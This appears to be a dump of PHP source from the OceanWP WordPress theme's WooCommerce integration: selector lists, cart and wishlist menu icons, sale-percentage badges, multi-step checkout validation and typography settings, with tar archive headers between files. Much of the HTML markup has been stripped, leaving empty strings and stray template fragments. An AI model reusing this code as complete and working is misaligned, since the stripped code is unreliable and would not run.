array_merge( array( '.woocommerce .oceanwp-grid-list a.active .owp-icon use', '.woocommerce .oceanwp-grid-list a:hover .owp-icon use', ), $svg_icons ); } /** * Adds border accents for WooCommerce styles. * * @since 1.0.0 */ public static function primary_borders( $borders ) { return array_merge( array( '.current-shop-items-dropdown' => array( 'top' ), '.woocommerce div.product .woocommerce-tabs ul.tabs li.active a' => array( 'bottom' ), '.wcmenucart-details.count:before', '.woocommerce ul.products li.product .button:hover', '.woocommerce ul.products li.product .product-inner .added_to_cart:hover', '.woocommerce div.product .woocommerce-tabs ul.tabs li.active a', '.woocommerce .oceanwp-grid-list a.active', '.woocommerce .oceanwp-grid-list a:hover', '.woocommerce .oceanwp-off-canvas-filter:hover', '.owp-product-nav li a.owp-nav-link:hover', '.widget_shopping_cart_content .buttons .button:first-child:hover', '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid a.remove:hover', '.widget_product_categories li a:hover ~ .count', '.woocommerce .widget_product_categories li.current-cat > a ~ .count', '.woocommerce .widget_product_categories li.current-cat > a:before', '.widget_layered_nav li a:hover ~ .count', '.woocommerce .widget_layered_nav li.chosen a ~ .count', '.woocommerce .widget_layered_nav li.chosen a:before', '#owp-checkout-timeline.arrow .active .timeline-wrapper:before' => array( 'top', 'bottom' ), '#owp-checkout-timeline.arrow .active .timeline-wrapper:after' => array( 'left', 'right' ), '.bag-style:hover .wcmenucart-cart-icon .wcmenucart-count', '.bag-style:hover .wcmenucart-cart-icon .wcmenucart-count:after', '.show-cart .wcmenucart-cart-icon .wcmenucart-count', '.show-cart .wcmenucart-cart-icon .wcmenucart-count:after', '.woocommerce ul.products li.product:not(.product-category) .woo-product-gallery .active a', '.woocommerce ul.products li.product:not(.product-category) .woo-product-gallery a:hover', ), $borders ); } /** * Adds background accents for WooCommerce styles. * * @since 1.0.0 */ public static function primary_backgrounds( $backgrounds ) { return array_merge( array( '.woocommerce div.product div.images .open-image', '.wcmenucart-details.count', '.woocommerce-message a', '.woocommerce-error a', '.woocommerce-info a', '.woocommerce .widget_price_filter .ui-slider .ui-slider-handle', '.woocommerce .widget_price_filter .ui-slider .ui-slider-range', '.owp-product-nav li a.owp-nav-link:hover', '.woocommerce div.product.owp-tabs-layout-vertical .woocommerce-tabs ul.tabs li a:after', '.woocommerce .widget_product_categories li.current-cat > a ~ .count', '.woocommerce .widget_product_categories li.current-cat > a:before', '.woocommerce .widget_layered_nav li.chosen a ~ .count', '.woocommerce .widget_layered_nav li.chosen a:before', '#owp-checkout-timeline .active .timeline-wrapper', '.bag-style:hover .wcmenucart-cart-icon .wcmenucart-count', '.show-cart .wcmenucart-cart-icon .wcmenucart-count', '.woocommerce ul.products li.product:not(.product-category) .image-wrap .button', ), $backgrounds ); } /** * Adds background hover accents for WooCommerce styles. * * @since 1.0.0 */ public static function hover_primary_backgrounds( $hover ) { return array_merge( array( '.woocommerce div.product div.images .open-image:hover', '.woocommerce-error a:hover', '.woocommerce-info a:hover', '.woocommerce-message a:hover', '.woocommerce-message a:focus', '.woocommerce .button:focus', '.woocommerce ul.products li.product:not(.product-category) .image-wrap .button:hover', ), $hover ); } /** * Adds border color elements for WooCommerce styles. * * @since 1.0.0 */ public static function border_color_elements( $elements ) { return array_merge( array( '.woocommerce table.shop_table', '.woocommerce table.shop_table td', '.woocommerce-cart .cart-collaterals .cart_totals tr td', '.woocommerce-cart .cart-collaterals .cart_totals tr th', '.woocommerce table.shop_table tth', '.woocommerce table.shop_table tfoot td', '.woocommerce table.shop_table tfoot th', '.woocommerce .order_details', '.woocommerce .shop_table.order_details tfoot th', '.woocommerce .shop_table.customer_details th', '.woocommerce .cart-collaterals .cross-sells', '.woocommerce-page .cart-collaterals .cross-sells', '.woocommerce .cart-collaterals .cart_totals', '.woocommerce-page .cart-collaterals .cart_totals', '.woocommerce .cart-collaterals h2', '.woocommerce .cart-collaterals h2', '.woocommerce .cart-collaterals h2', '.woocommerce-cart .cart-collaterals .cart_totals .order-total th', '.woocommerce-cart .cart-collaterals .cart_totals .order-total td', '.woocommerce ul.order_details', '.woocommerce .shop_table.order_details tfoot th', '.woocommerce .shop_table.customer_details th', '.woocommerce .woocommerce-checkout #customer_details h3', '.woocommerce .woocommerce-checkout h3#order_review_heading', '.woocommerce-checkout #payment ul.payment_methods', '.woocommerce-checkout form.login', '.woocommerce-checkout form.checkout_coupon', '.woocommerce-checkout-review-order-table tfoot th', '.woocommerce-checkout #payment', '.woocommerce ul.order_details', '.woocommerce #customer_login > div', '.woocommerce .col-1.address', '.woocommerce .col-2.address', '.woocommerce-checkout .woocommerce-info', '.woocommerce div.product form.cart', '.product_meta', '.woocommerce div.product .woocommerce-tabs ul.tabs', '.woocommerce #reviews #comments ol.commentlist li .comment_container', 'p.stars span a', '.woocommerce ul.product_list_widget li', '.woocommerce .widget_shopping_cart .cart_list li', '.woocommerce.widget_shopping_cart .cart_list li', '.woocommerce ul.product_list_widget li:first-child', '.woocommerce .widget_shopping_cart .cart_list li:first-child', '.woocommerce.widget_shopping_cart .cart_list li:first-child', '.widget_product_categories li a', '.woocommerce .oceanwp-toolbar', '.woocommerce .products.list .product', ), $elements ); } /** * Alter WooCommerce category classes * * @since 1.0.0 */ public static function product_cat_class( $classes ) { global $woocommerce_loop; $classes[] = 'col'; $classes[] = oceanwp_grid_class( $woocommerce_loop['columns'] ); return $classes; } /** * Adds wishlist icon to menu * * @since 1.5.0 */ public static function menu_wishlist_icon( $items, $args ) { // Return items if is in the Elementor edit mode, to avoid error. if ( OCEANWP_ELEMENTOR_ACTIVE && \Elementor\Plugin::$instance->editor->is_edit_mode() ) { return $items; } // Return. if ( ! ocean_woo_wishlist() || true != get_theme_mod( 'ocean_woo_wishlist_icon', false ) || 'main_menu' != $args->theme_location ) { return $items; } $wl_plugin = get_theme_mod( 'ocean_woo_wl_plugin', 'ti_wl' ); $items .= ''; // Return menu items. return $items; } /** * Adds cart icon to menu * * @since 1.0.0 */ public static function menu_cart_icon( $items, $args ) { // Return items if is in the Elementor edit mode, to avoid error if ( OCEANWP_ELEMENTOR_ACTIVE && \Elementor\Plugin::$instance->editor->is_edit_mode() ) { return $items; } // Only used for the main menu if ( 'main_menu' != $args->theme_location ) { return $items; } // Get style $style = oceanwp_menu_cart_style(); $header_style = oceanwp_header_style(); // Return items if no style if ( ! $style ) { return $items; } // Add cart link to menu items if ( 'full_screen' == $header_style ) { $items .= ''; } else { $items .= self::get_cart_icon(); } // Return menu items return $items; } /** * Add cart icon * * @since 1.5.0 */ public static function get_cart_icon() { // Style $style = oceanwp_menu_cart_style(); $header_style = oceanwp_header_style(); $cart_style = get_theme_mod( 'ocean_woo_cart_dropdown_style', 'compact' ); // Toggle class $toggle_class = 'toggle-cart-widget'; // Define classes to add to li element $classes = array( 'woo-menu-icon' ); // Add style class $classes[] = 'wcmenucart-toggle-' . $style; // If bag style if ( 'yes' == get_theme_mod( 'ocean_woo_menu_bag_style', 'no' ) ) { $classes[] = 'bag-style'; } // Cart style if ( 'compact' != $cart_style ) { $classes[] = $cart_style; } // Prevent clicking on cart and checkout if ( 'custom_link' != $style && ( is_cart() || is_checkout() ) ) { $classes[] = 'nav-no-click'; } // Add toggle class else { $classes[] = $toggle_class; } // Turn classes into string $classes = implode( ' ', $classes ); ob_start(); ?>
                • is_type( 'simple' ) || $product->is_type( 'external' ) ) { $r_price = $product->get_regular_price(); $s_price = $product->get_sale_price(); $percent = round( ( ( floatval( $r_price ) - floatval( $s_price ) ) / floatval( $r_price ) ) * 100 ); } elseif ( $product->is_type( 'variable' ) ) { $available_variations = $product->get_available_variations(); $maximumper = 0; for ( $i = 0; $i < count( $available_variations ); ++ $i ) { $variation_id = $available_variations[ $i ]['variation_id']; $variable_product = new WC_Product_Variation( $variation_id ); if ( ! $variable_product->is_on_sale() ) { continue; } $r_price = $variable_product->get_regular_price(); $s_price = $variable_product->get_sale_price(); $percent = round( ( ( floatval( $r_price ) - floatval( $s_price ) ) / floatval( $r_price ) ) * 100 ); if ( $percent > $maximumper ) { $maximumper = $percent; } } $percent = sprintf( __( '%s', 'oceanwp' ), $maximumper ); } else { $percent = '' . __( 'Sale!', 'oceanwp' ) . ''; return $percent; } $value = '-' . esc_html( $percent ) . '%'; return '' . esc_html( $value ) . ''; } /** * Add links Login/Register on the my account page * * @since 1.5.0 */ public static function login_register_links() { // Return if not Original style if ( 'original' != get_theme_mod( 'ocean_woo_account_page_style', 'original' ) ) { return; } // Var $registration = get_option( 'woocommerce_enable_myaccount_registration' ); // Define classes $classes = array( 'owp-account-links' ); // If registration disabled if ( 'yes' != $registration ) { $classes[] = 'registration-disabled'; } // Turn classes into string $classes = implode( ' ', $classes ); // Login text $text = esc_html__( 'Login', 'oceanwp' ); $html = '
                    '; $html .= ''; // If registration if ( 'yes' == $registration ) { $html .= '
                  • ' . esc_html__( 'Or', 'oceanwp' ) . '
                  • '; $html .= '
                  • '; $html .= ''; $html .= '
                  • '; } $html .= '
                  '; echo $html; } /** * Distraction free on cart/checkout * * @since 1.5.0 */ public static function distraction_free( $return ) { if ( ( is_cart() && true == get_theme_mod( 'ocean_woo_distraction_free_cart', false ) ) || ( is_checkout() && true == get_theme_mod( 'ocean_woo_distraction_free_checkout', false ) ) ) { $return = false; } // Return return $return; } /** * Validate multi-step checkout fields. * * @since 1.5.17 */ public function validate_checkout_callback() { $posted_data = isset( $_POST['posted_data'] ) ? $_POST['posted_data'] : array(); $WC_Checkout = new WC_Checkout(); $errors = new WP_Error(); $skipped = array(); $data = array( 'terms' => (int) isset( $posted_data['terms'] ), 'createaccount' => (int) ! empty( $posted_data['createaccount'] ), 'payment_method' => isset( $posted_data['payment_method'] ) ? wc_clean( $posted_data['payment_method'] ) : '', 'shipping_method' => isset( $posted_data['shipping_method'] ) ? wc_clean( $posted_data['shipping_method'] ) : '', 'ship_to_different_address' => ! empty( $posted_data['ship_to_different_address'] ) && ! wc_ship_to_billing_address_only(), 'woocommerce_checkout_update_totals' => isset( $posted_data['woocommerce_checkout_update_totals'] ), ); foreach ( $WC_Checkout->get_checkout_fields() as $fieldset_key => $fieldset ) { if ( isset( $data['ship_to_different_address'] ) ) { if ( 'shipping' === $fieldset_key && ( ! $data['ship_to_different_address'] || ! WC()->cart->needs_shipping_address() ) ) { continue; } } if ( isset( $data['createaccount'] ) ) { if ( 'account' === $fieldset_key && ( is_user_logged_in() || ( ! $WC_Checkout->is_registration_required() && empty( $data['createaccount'] ) ) ) ) { continue; } } foreach ( $fieldset as $key => $field ) { $type = sanitize_title( isset( $field['type'] ) ? $field['type'] : 'text' ); switch ( $type ) { case 'checkbox': $value = isset( $posted_data[ $key ] ) ? 1 : ''; break; case 'multiselect': $value = isset( $posted_data[ $key ] ) ? implode( ', ', wc_clean( $posted_data[ $key ] ) ) : ''; break; case 'textarea': $value = isset( $posted_data[ $key ] ) ? wc_sanitize_textarea( $posted_data[ $key ] ) : ''; break; default: $value = isset( $posted_data[ $key ] ) ? wc_clean( $posted_data[ $key ] ) : ''; break; } $data[ $key ] = apply_filters( 'woocommerce_process_checkout_' . $type . '_field', apply_filters( 'woocommerce_process_checkout_field_' . $key, $value ) ); } } if ( in_array( 'shipping', $skipped ) && ( WC()->cart->needs_shipping_address() || wc_ship_to_billing_address_only() ) ) { foreach ( $this->get_checkout_fields( 'shipping' ) as $key => $field ) { $data[ $key ] = isset( $data[ 'billing_' . substr( $key, 9 ) ] ) ? $data[ 'billing_' . substr( $key, 9 ) ] : ''; } } foreach ( $WC_Checkout->get_checkout_fields() as $fieldset_key => $fieldset ) { if ( $fieldset_key != $_POST['type'] ) { continue; } if ( isset( $data['ship_to_different_address'] ) ) { if ( 'shipping' === $fieldset_key && ( ! $data['ship_to_different_address'] || ! WC()->cart->needs_shipping_address() ) ) { continue; } } if ( isset( $data['createaccount'] ) ) { if ( 'account' === $fieldset_key && ( is_user_logged_in() || ( ! $WC_Checkout->is_registration_required() && empty( $data['createaccount'] ) ) ) ) { continue; } } foreach ( $fieldset as $key => $field ) { if ( ! isset( $data[ $key ] ) ) { continue; } $required = ! empty( $field['required'] ); $format = array_filter( isset( $field['validate'] ) ? (array) $field['validate'] : array() ); $field_label = isset( $field['label'] ) ? $field['label'] : ''; switch ( $fieldset_key ) { case 'shipping': /* translators: %s: field name */ $field_label = sprintf( __( 'Shipping %s', 'oceanwp' ), $field_label ); break; case 'billing': /* translators: %s: field name */ $field_label = sprintf( __( 'Billing %s', 'oceanwp' ), $field_label ); break; } if ( in_array( 'postcode', $format ) ) { $country = isset( $data[ $fieldset_key . '_country' ] ) ? $data[ $fieldset_key . '_country' ] : WC()->customer->{"get_{$fieldset_key}_country"}(); $data[ $key ] = wc_format_postcode( $data[ $key ], $country ); if ( '' !== $data[ $key ] && ! WC_Validation::is_postcode( $data[ $key ], $country ) ) { $errors->add( 'validation', sprintf( __( '%s is not a valid postcode / ZIP.', 'oceanwp' ), '' . esc_html( $field_label ) . '' ) ); } } if ( in_array( 'phone', $format ) ) { $data[ $key ] = wc_format_phone_number( $data[ $key ] ); if ( '' !== $data[ $key ] && ! WC_Validation::is_phone( $data[ $key ] ) ) { /* translators: %s: phone number */ $errors->add( 'validation', sprintf( __( '%s is not a valid phone number.', 'oceanwp' ), '' . esc_html( $field_label ) . '' ) ); } } if ( in_array( 'email', $format ) && '' !== $data[ $key ] ) { $data[ $key ] = sanitize_email( $data[ $key ] ); if ( ! is_email( $data[ $key ] ) ) { /* translators: %s: email address */ $errors->add( 'validation', sprintf( __( '%s is not a valid email address.', 'oceanwp' ), '' . esc_html( $field_label ) . '' ) ); continue; } } if ( '' !== $data[ $key ] && in_array( 'state', $format ) ) { $country = isset( $data[ $fieldset_key . '_country' ] ) ? $data[ $fieldset_key . '_country' ] : WC()->customer->{"get_{$fieldset_key}_country"}(); $valid_states = WC()->countries->get_states( $country ); if ( ! empty( $valid_states ) && is_array( $valid_states ) && sizeof( $valid_states ) > 0 ) { $valid_state_values = array_map( 'wc_strtoupper', array_flip( array_map( 'wc_strtoupper', $valid_states ) ) ); $data[ $key ] = wc_strtoupper( $data[ $key ] ); if ( isset( $valid_state_values[ $data[ $key ] ] ) ) { // With this part we consider state value to be valid as well, convert it to the state key for the valid_states check below. $data[ $key ] = $valid_state_values[ $data[ $key ] ]; } if ( ! in_array( $data[ $key ], $valid_state_values ) ) { /* translators: 1: state field 2: valid states */ $errors->add( 'validation', sprintf( __( '%1$s is not valid. Please enter one of the following: %2$s', 'oceanwp' ), '' . esc_html( $field_label ) . '', implode( ', ', $valid_states ) ) ); } } } if ( $required && '' === $data[ $key ] ) { /* translators: %s: field name */ $errors->add( 'required-field', apply_filters( 'woocommerce_checkout_required_field_notice', sprintf( __( '%s is a required field.', 'oceanwp' ), '' . esc_html( $field_label ) . '' ), $field_label ) ); } } } $html = ''; $valid = true; if ( $errors->get_error_messages() ) { $valid = false; $html = '
                  '; } wp_send_json( array( 'valid' => $valid, 'html' => $html, ) ); wp_die(); } /** * Checkout timeline template. * * @since 1.5.0 */ public static function checkout_timeline() { get_template_part( 'woocommerce/checkout/checkout-timeline' ); } /** * Change checkout template * * @since 1.5.0 */ public function multistep_checkout( $template, $template_name, $template_path ) { if ( 'checkout/form-checkout.php' == $template_name ) { $template = OCEANWP_THEME_DIR . '/woocommerce/checkout/form-multistep-checkout.php'; $theme_file = get_stylesheet_directory() . '/woocommerce/checkout/form-multistep-checkout.php'; if ( file_exists( $theme_file ) ) { $template = $theme_file; } } // Return return $template; } /** * Checkout login form. * * @since 1.5.0 */ public static function checkout_login_form( $login_message ) { woocommerce_login_form( array( 'message' => $login_message, 'redirect' => wc_get_page_permalink( 'checkout' ), 'hidden' => false, ) ); // If WooCommerce social login if ( class_exists( 'WC_Social_Login' ) ) { do_shortcode( '[woocommerce_social_login_buttons]' ); } } /** * Support to WooCommerce secure submit gateway * * @since 1.5.0 */ public static function woocommerce_securesubmit_support( $value, $options ) { $value['use_iframes'] = 'no'; return $value; } /** * Add typography options for the WooCommerce product title * * @since 1.0.0 */ public static function typography_settings( $settings ) { $settings['woo_product_title'] = array( 'label' => esc_html__( 'WooCommerce Product Title', 'oceanwp' ), 'target' => '.woocommerce div.product .product_title', 'defaults' => array( 'font-size' => '24', 'color' => '#333333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ); $settings['woo_product_price'] = array( 'label' => esc_html__( 'WooCommerce Product Price', 'oceanwp' ), 'target' => '.woocommerce div.product p.price', 'defaults' => array( 'font-size' => '36', 'line-height' => '1', 'letter-spacing' => '0', ), ); $settings['woo_single_add_to_cart'] = array( 'label' => esc_html__( 'WooCommerce Product Add To Cart', 'oceanwp' ), 'target' => '.woocommerce .owp-btn-normal .summary form button.button, .woocommerce .owp-btn-big .summary form button.button, .woocommerce .owp-btn-very-big .summary form button.button', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12', 'text-transform' => 'uppercase', 'line-height' => '1.5', 'letter-spacing' => '1', ), ); $settings['woo_single_notice'] = array( 'label' => esc_html__( 'WooCommerce Product Notice', 'oceanwp' ), 'target' => '.woocommerce div.owp-woo-single-cond-notice span, .woocommerce div.owp-woo-single-cond-notice a', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '18', 'font-weight' => '600', 'text-transform' => 'capitalize', 'line-height' => '2', 'letter-spacing' => '1.5', ), ); $settings['woo_archive_title'] = array( 'label' => esc_html__( 'WooCommerce Archive Title', 'oceanwp' ), 'target' => '.woocommerce ul.products li.product li.title h2, .woocommerce ul.products li.product li.title a', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '14', 'line-height' => '1.5', 'letter-spacing' => '0', ), ); $settings['woo_archive_cats'] = array( 'label' => esc_html__( 'WooCommerce Archive Category', 'oceanwp' ), 'target' => '.woocommerce ul.products li.product li.category, .woocommerce ul.products li.product li.category a', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12', 'line-height' => '1', 'letter-spacing' => '0', ), ); $settings['woo_archive_price'] = array( 'label' => esc_html__( 'WooCommerce Archive Price', 'oceanwp' ), 'target' => '.woocommerce ul.products li.product .price', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '18', 'line-height' => '1', 'letter-spacing' => '0', ), ); $settings['woo_product_add_to_cart'] = array( 'label' => esc_html__( 'WooCommerce Archive Add To Cart', 'oceanwp' ), 'target' => '.woocommerce ul.products li.product .button, .woocommerce ul.products li.product .product-inner .added_to_cart', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12', 'line-height' => '1.5', 'letter-spacing' => '1', ), ); $settings['woo_archive_notice'] = array( 'label' => esc_html__( 'WooCommerce Archive Notice', 'oceanwp' ), 'target' => '.woocommerce ul.products li.owp-woo-cond-notice span, .woocommerce ul.products li.owp-woo-cond-notice a', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '16', 'font-weight' => '600', 'text-transform' => 'capitalize', 'line-height' => '1', 'letter-spacing' => '1', ), ); $settings['woo_store_notice'] = array( 'label' => esc_html__( 'WooCommerce Store Notice', 'oceanwp' ), 'target' => '.woocommerce-store-notice.demo_store', 'defaults' => array( 'color' => '#ffffff', 'line-height' => '2', 'letter-spacing' => '1.5', ), ); $settings['woo_store_notice_dismiss_link'] = array( 'label' => esc_html__( 'WooCommerce Store Notice Dismiss', 'oceanwp' ), 'target' => '.demo_store .woocommerce-store-notice__dismiss-link', 'defaults' => array( 'color' => '#ffffff', 'line-height' => '2', 'letter-spacing' => '1.5', ), ); return $settings; } /** * Supports WooCommerce Match Box extension by removing * duplicate single product summary features on the * product page. * * @since 1.2.9 * @static * @author Sébastien Dumont * @global object WC_Product $product */ public function remove_wc_match_box_single_product_summary() { global $product; if ( $product->is_type( 'mix-and-match' ) ) { remove_action( 'woocommerce_single_product_summary', array( $this, 'single_product_content' ), 10 ); add_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 ); } } /** * Compatibility with YITH WooCommerce Badge. * * @since 1.5.23 */ public function yith_wcbm_shop_badge_container_start() { do_action( 'yith_wcbm_theme_badge_container_start' ); } /** * Compatibility with YITH WooCommerce Badge. * * @since 1.5.23 */ public function yith_wcbm_shop_badge_container_end() { do_action( 'yith_wcbm_theme_badge_container_end' ); } /** * Compatibility with WooCommerce Germanized. * * @since 1.5.6 */ public function woocommerce_germanized() { echo '
                • '; foreach ( wc_gzd_get_product_loop_shopmarks() as $shopmark ) { $callback = $shopmark->get_callback(); if ( function_exists( $callback ) && $shopmark->is_enabled() && in_array( $shopmark->get_type(), array( 'unit_price', 'tax', 'shipping_costs', 'delivery_time', 'units' ), true ) ) { call_user_func( $callback ); } } echo '
                • '; } public function woocommerce_germanized_single() { echo '
                  '; foreach ( wc_gzd_get_single_product_shopmarks() as $shopmark ) { $callback = $shopmark->get_callback(); if ( function_exists( $callback ) && $shopmark->is_enabled() && in_array( $shopmark->get_type(), array( 'unit_price', 'legal', 'shipping_costs' ), true ) ) { call_user_func( $callback ); } } echo '
                  '; } /** * Compatibility with WooCommerce Germanized Single Product meta template. * * @since 2.0 */ public function woocommerce_germanized_single_meta() { echo '
                  '; foreach ( wc_gzd_get_single_product_shopmarks() as $shopmark ) { $callback = $shopmark->get_callback(); if ( function_exists( $callback ) && $shopmark->is_enabled() && in_array( $shopmark->get_type(), array( 'unit_price', 'delivery_time' ), true ) ) { call_user_func( $callback ); } } echo '
                  '; } } } new OceanWP_WooCommerce_Config(); woocommerce/woocommerce-helpers.php000064400000025547151551031110013561 0ustar00cart->cart_contents_count > 0 ) { $classes[] = 'wcmenucart-hide'; } // Turn classes into space seperated string. $classes = implode( ' ', $classes ); // Return if is in the Elementor edit mode, to avoid error. if ( OCEANWP_ELEMENTOR_ACTIVE && \Elementor\Plugin::$instance->editor->is_edit_mode() ) { return; } // Vars. $icon_style = get_theme_mod( 'ocean_woo_menu_icon_style', 'drop_down' ); $custom_link = get_theme_mod( 'ocean_woo_menu_icon_custom_link' ); // URL. if ( 'custom_link' == $icon_style && $custom_link ) { $url = esc_url( $custom_link ); } else { $cart_id = wc_get_page_id( 'cart' ); if ( function_exists( 'icl_object_id' ) ) { $cart_id = icl_object_id( $cart_id, 'page' ); } $url = get_permalink( $cart_id ); } // Cart total. $display = get_theme_mod( 'ocean_woo_menu_icon_display', 'icon_count' ); if ( 'icon_total' == $display ) { $cart_extra = WC()->cart->get_total(); $cart_extra = str_replace( 'amount', 'wcmenucart-details', $cart_extra ); } elseif ( 'icon_count' == $display && ! is_null( WC()->cart ) ) { $cart_extra = '' . WC()->cart->get_cart_contents_count() . ''; } elseif ( 'icon_count_total' == $display && ! is_null( WC()->cart ) ) { $cart_extra = '' . WC()->cart->get_cart_contents_count() . ''; $cart_total = WC()->cart->get_total(); $cart_extra .= str_replace( 'amount', 'wcmenucart-details', $cart_total ); } else { $cart_extra = ''; } // Get cart icon. $icon = get_theme_mod( 'ocean_woo_menu_icon', 'icon_handbag' ); $icon = in_array( $icon, oceanwp_get_cart_icons() ) && $icon ? $icon : 'icon_handbag'; // If has custom cart icon. $custom_icon = get_theme_mod( 'ocean_woo_menu_custom_icon' ); if ( '' != $custom_icon ) { $icon = $custom_icon; } if ( '' != $custom_icon ) { $cart_icon = ''; } else { $cart_icon = oceanwp_icon( $icon, false ); } $cart_icon = apply_filters( 'ocean_menu_cart_icon_html', $cart_icon ); // Cart Icon. // If bag style. $woo_bag_style = get_theme_mod( 'ocean_woo_menu_bag_style', 'no' ); if ( 'yes' === $woo_bag_style ) { ?> cart->get_total(); ?> cart ) ) { ?> cart->get_cart_contents_count(); ?> ' . __( 'Placeholder Image', 'oceanwp' ) . '
                  '; $placeholder = apply_filters( 'ocean_woo_placeholder_img_html', $placeholder ); if ( $placeholder ) { echo wp_kses_post( $placeholder ); } } } } /** * Check if product is in stock * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_woo_product_instock' ) ) { function oceanwp_woo_product_instock( $post_id = '' ) { global $post; $post_id = $post_id ? $post_id : $post->ID; $product = wc_get_product( $post_id ); return $product ? $product->is_in_stock() : false; } } /** * Returns catalog elements positioning * * @since 1.1.9 */ if ( ! function_exists( 'oceanwp_woo_product_elements_positioning' ) ) { function oceanwp_woo_product_elements_positioning() { // Default sections $sections = array( 'image', 'category', 'title', 'price-rating', 'woo-rating', 'description', 'button' ); // Get sections from Customizer $sections = get_theme_mod( 'oceanwp_woo_product_elements_positioning', $sections ); // Turn into array if string if ( $sections && ! is_array( $sections ) ) { $sections = explode( ',', $sections ); } // Apply filters for easy modification $sections = apply_filters( 'ocean_woo_product_elements_positioning', $sections ); // Return sections return $sections; } } /** * Returns single product summary elements positioning * * @since 1.1.9 */ if ( ! function_exists( 'oceanwp_woo_summary_elements_positioning' ) ) { function oceanwp_woo_summary_elements_positioning() { // Default sections $sections = array( 'title', 'rating', 'price', 'excerpt', 'quantity-button', 'meta' ); // Get sections from Customizer $sections = get_theme_mod( 'oceanwp_woo_summary_elements_positioning', $sections ); // Turn into array if string if ( $sections && ! is_array( $sections ) ) { $sections = explode( ',', $sections ); } // Apply filters for easy modification $sections = apply_filters( 'ocean_woo_summary_elements_positioning', $sections ); // Return sections return $sections; } } /** * Check if it is a product attribute archive page * * @since 1.8.2 */ function ocean_is_wc_attribute() { /** * Attributes are proper taxonomies, therefore first thing is * to check if we are on a taxonomy page using the is_tax(). */ if ( is_tax() && function_exists( 'taxonomy_is_product_attribute' ) ) { $tax_obj = get_queried_object(); return taxonomy_is_product_attribute( $tax_obj->taxonomy ); } return false; } /** * Get the custom taxonomies * * @since 1.8.2 */ function get_term_tax_attr() { if ( function_exists( 'taxonomy_is_product_attribute' ) ) { $attr_taxonomies = wc_get_attribute_taxonomies(); } $taxonomy_terms = array(); if ( $attr_taxonomies ) { foreach ( $attr_taxonomies as $tax ) { if ( taxonomy_exists( wc_attribute_taxonomy_name( $tax->attribute_name ) ) ) { $taxonomy_terms[ $tax->attribute_name ] = get_terms( wc_attribute_taxonomy_name( $tax->attribute_name ), 'orderby=name&hide_empty=0' ); } } } } /** * WooCommerce product image gallery open and close tags * * @since 2.0 */ if ( ! function_exists( 'ocean_woo_img_link_open' ) ) { function ocean_woo_img_link_open() { global $product; $woo_img_link = get_the_permalink( $product->get_id() ); echo ''; } } if ( ! function_exists( 'ocean_woo_img_link_close' ) ) { function ocean_woo_img_link_close() { echo ''; } } /** * WooCommerce Grid List Product Archive Excerpt * * @since 2.0 */ if ( ! function_exists( 'ocean_woo_grid_view_excerpt' ) ) { function ocean_woo_grid_view_excerpt() { global $product; $exc_length = get_theme_mod( 'ocean_woo_list_excerpt_length', '60' ); $woo_excerpt = $product->get_description(); if ( ! $exc_length ) { $woo_excerpt = wp_kses_post( strip_shortcodes( $woo_excerpt ) ); } else { $woo_excerpt = wp_trim_words( strip_shortcodes( $woo_excerpt ), $exc_length ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } echo $woo_excerpt; } } if ( ! function_exists( 'ocean_woo_wishlist_plugin' ) ) { /** * Determine if active WooCommerce Wishlist plugin matches theme plugin support. * * @since 2.0 */ function ocean_woo_wishlist_plugin() { if ( ! OCEANWP_WOOCOMMERCE_ACTIVE ) { return false; } $woo_wl_plugin = get_theme_mod( 'ocean_woo_wl_plugin', 'ti_wl' ); // Only TI or only YITH Wishlist plugin. if ( ( defined( 'TINWL_URL' ) && 'ti_wl' === $woo_wl_plugin ) || ( defined( 'YITH_WCWL' ) && 'yith_wl' === $woo_wl_plugin ) ) { return true; } return false; } } if ( ! function_exists( 'ocean_woo_wishlist' ) ) { /** * Determine if Wishlists exists * * @since 2.0 */ function ocean_woo_wishlist() { if ( class_exists( 'TInvWL_Wishlist' ) || class_exists( 'YITH_WCWL_Wishlist' ) ) { return true; } return false; } } if ( ! function_exists( 'ocean_woo_wishlist_count' ) ) { /** * Return YITH WooCommerce Wishlist item count * * @since 2.0 */ function ocean_woo_wishlist_count() { $wl_count = 0; if ( 'yith_wl' === get_theme_mod( 'ocean_woo_wl_plugin', 'ti_wl' ) && function_exists( 'yith_wcwl_count_all_products' ) ) { $wl_count = yith_wcwl_count_all_products(); } return $wl_count; } } if ( ! function_exists( 'ocean_dequeue_yith_wl_scripts' ) ) { /** * Styles/Scripts */ function ocean_dequeue_yith_wl_scripts() { // Remove default YITH WCWL style. wp_dequeue_style( 'yith-wcwl-main' ); wp_dequeue_style( 'yith-wcwl-font-awesome' ); wp_dequeue_style( 'jquery-selectBox' ); } } if ( ! function_exists( 'owp_yith_wishlist_button_label' ) ) { /** * Add to wishlist */ function owp_yith_wishlist_button_label() { return ''; } } if ( ! function_exists( 'owp_yith_wishlist_browse_button_label' ) ) { /** * Browse add to wishlist */ function owp_yith_wishlist_browse_button_label() { $icon_option = get_option( 'yith_wcwl_add_to_wishlist_icon' ); $custom_icon = 'none' != $icon_option ? get_option( 'yith_wcwl_add_to_wishlist_custom_icon' ) : ''; $added_icon_option = get_option( 'yith_wcwl_added_to_wishlist_icon' ); $custom_added_icon = 'none' != $added_icon_option ? get_option( 'yith_wcwl_added_to_wishlist_custom_icon' ) : ''; $icon = apply_filters( 'yith_wcwl_button_icon', 'none' != $icon_option ? $icon_option : '' ); $added_icon = apply_filters( 'yith_wcwl_button_added_icon', 'none' != $added_icon_option ? $added_icon_option : '' ); if ( $added_icon ) { return ''; } else { return ''; } } } helpers.php000064400000372071151551031110006722 0ustar00category_nicename; } } // If landing page template. if ( is_page_template( 'templates/landing.php' ) ) { $classes[] = 'landing-page'; } // Topbar. if ( oceanwp_display_topbar() ) { $classes[] = 'has-topbar'; } // Title with Background Image. if ( 'background-image' == oceanwp_page_header_style() ) { $classes[] = 'page-with-background-title'; } // Disabled header. if ( ! oceanwp_has_page_header() 